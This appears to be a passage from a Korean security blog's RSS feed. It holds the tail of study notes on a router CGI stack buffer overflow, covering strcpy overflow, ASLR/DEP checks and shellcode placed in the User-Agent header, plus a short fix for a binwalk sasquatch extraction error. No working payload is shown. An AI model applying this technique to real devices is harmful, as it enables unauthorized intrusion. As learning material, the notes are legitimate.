<li>인자를 넘겨줄 때, 환경변수를 가져올 때 <code>strcpy</code>를 사용해서 복사한다.</li>
</ul>
<p><img src="https://images.velog.io/images/wisdom_lee/post/1e2c74c9-4203-48d7-9560-d81c617f853d/image.png" alt=""></p>
<ul>
<li>위와 같이 인자를 길게 넘겨주고<code>strace</code>로 보면 <code>SIGSEGV</code>가 발생해 있을 것이다.</li>
<li>이런 식으로 실행 흐름의 중요한 역할을 하는 메모리 영역을 덮어 쓴다.</li>
</ul>
<p><img src="https://images.velog.io/images/wisdom_lee/post/0cc594e1-76b6-4e37-b045-201aa59bd952/image.png" alt=""></p>
<ul>
<li>입력한 commit 값이 복사가 되면서 버퍼도 다 차고, 스택 영역의 레지스터 값들도 overwrite 된다.</li>
</ul>
<h2 id="쉘코드">쉘코드</h2>
<ul>
<li>쉘코드를 아무데나 올릴 수는 없다.</li>
<li>보안 시스템 체크<ul>
<li><code>ASLR</code> : 메모리 주소 값 랜덤화</li>
<li><code>DEP</code> : 스택 힙 실행 권한 제거</li>
</ul>
</li>
<li>스택 덤프<ul>
<li><code>ASLR</code>, <code>DEP</code>가 둘 다 없는 경우 스택에 쉘코드 주입</li>
<li><code>cgi</code> 실행시 스택 덤프를 해보면, 스택에 어떤 데이터가 저장되는지 확인할 수 있다.</li>
<li><code>User-Agent</code> 값이 존재 → 여기에 값을 넣자</li>
</ul>
</li>
<li>최종 대상 선정<ul>
<li><code>User-Agent</code></li>
</ul>
</li>
</ul>
<p><img src="https://images.velog.io/images/wisdom_lee/post/cca303ec-ada7-4751-b0a1-b753073b670a/image.png" alt=""></p>
<ul>
<li><code>User-Agent</code> 변수에 쉘코드를 넣음</li>
</ul>
<h1 id="ref">Ref</h1>
<ul>
<li><a href="https://www.hackerschool.org/HardwareHacking/%ea%b3%b5%ec%9c%a0%ea%b8%b0%20%ed%95%b4%ed%82%b9%20-%20ARM%20exploitation.pdf">Home Router Hacking 유무선 공유기 해킹</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Solved] binwalk 'Extractor.execute failed to run external extractor 'sasquatch -p 1 -le -d '%%squashfs-root%%' '%e'': [Errno 2] No such file or directory']]></title>
            <link>https://velog.io/@wisdom_lee/Solved-binwalk-Extractor.execute-failed-to-run-external-extractor-sasquatch-p-1-le-d-squashfs-root-e-Errno-2-No-such-file-or-directory</link>
            <guid>https://velog.io/@wisdom_lee/Solved-binwalk-Extractor.execute-failed-to-run-external-extractor-sasquatch-p-1-le-d-squashfs-root-e-Errno-2-No-such-file-or-directory</guid>
            <pubDate>Thu, 06 May 2021 16:01:47 GMT</pubDate>
            <description><![CDATA[<p>binwalk goooood</p>
<h1 id="solve">Solve</h1>
<hr>
<pre><code class="language-bash"># 관련 패키지, 라이브러리 설치
sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev

# sasquatch 설치
git clone https://github.com/devttys0/sasquatch.git

cd sasquatch

./build.sh</code></pre>
<ul>
<li><p><code>Squashfs</code> 파일시스템의 원활한 추출을 위해 <code>sasquatch</code>를 설치해 준다.</p>
</li>
<li><p>또는 binwalk를 설치할 때 <code>apt get</code> 대신 <code>README.md</code> 문서에 나와있는 대로 설치하면 된다.</p>
</li>
</ul>
<h1 id="references">References</h1>
<hr>
<ul>
<li><a href="https://github.com/devttys0/sasquatch">Github devttys0/sasquatch</a></li>
</ul>
]]></description>
        </item>
    </channel>
</rss>